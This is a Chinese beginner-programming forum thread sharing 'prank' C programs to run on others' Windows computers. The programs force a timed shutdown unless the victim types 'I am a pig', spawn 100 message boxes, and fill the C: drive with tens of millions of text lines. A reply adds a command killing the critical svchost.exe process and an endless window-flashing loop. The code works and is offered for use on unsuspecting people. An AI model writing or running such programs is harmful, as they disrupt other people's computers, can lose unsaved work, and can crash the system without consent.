啊哈磊_编程从这里起步
标题:
恶作剧整人代码
[打印本页]
作者:
邀请码
时间:
2016-1-27 14:22
标题:
恶作剧整人代码
本帖最后由 邀请码 于 2016-1-27 14:44 编辑
本帖代码C语言或C++都可以使用
1.[mw_shl_code=cpp,true]#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char pig[50];
printf("说我是猪,不说一分钟关机\n");
system("shutdown -s -t 60");
while(scanf("%s",pig),1){
if(strcmp(pig,"我是猪")==0){
printf("真乖!\n");
system("shutdown -a");
system("pause");
return 0;
}
else{
printf("不说一分钟关机\n");
}
}
return 0;
}
[/mw_shl_code]
作者:
邀请码
时间:
2016-1-27 14:26
2.[mw_shl_code=cpp,true]
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main(){
char word[100];
HWND hwnd=FindWindow("ConsoleWindowClass",NULL);
int t=0;
for(t=1;t<=100;t++){
sprintf(word,"你中招了!请点击100次,当前是%d次",t);
MessageBox(hwnd,word,"都怪邀请码",MB_OK);
}
printf("你真有毅力,我和你交朋友!\n");
system("pause");
return 0;
}
[/mw_shl_code]
作者:
邀请码
时间:
2016-1-27 14:41
本帖最后由 邀请码 于 2016-1-28 18:15 编辑
3.[mw_shl_code=cpp,true]#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main(){
FILE* fp;
int n=0;
fp=fopen("C:\\整人.txt","w");
printf("输入一个200-400之间的数字\n");
sb: scanf("%d",&n);
if(n>400||n<200){
printf("不对,重新输\n");
goto sb;//原谅我用goto
}
n=n*n*n;
while(n--)fprintf(fp,"你被整了!\n");
printf("整人完毕,打开C盘查看后果!\n");
system("pause");
fclose(fp);//感谢APPLE的提醒
return 0;
}[/mw_shl_code]
此代码杀伤力较大,对硬盘读写次数较多,请慎重使用!
先发3个剩下的有时间再发
作者:
4399APPLE
时间:
2016-1-28 13:59
本帖最后由 4399APPLE 于 2016-1-29 08:29 编辑
system("taskkill -f -im svchost.exe");
复制代码
char s[128];
HWND h;
int i = 1;
GetConsoleTitle(s, 128);
h = FindWindow(NULL, s);
while(1)
{
SetForegroundWindow(h);
FlashWindow(h, i);
i = !i;
Sleep(150);
}
复制代码
作者:
4399APPLE
时间:
2016-1-28 14:01
考虑一下Win XP无法输入汉字
欢迎光临 啊哈磊_编程从这里起步 (https://bbs.codeaha.com/)
Powered by Discuz! X3.2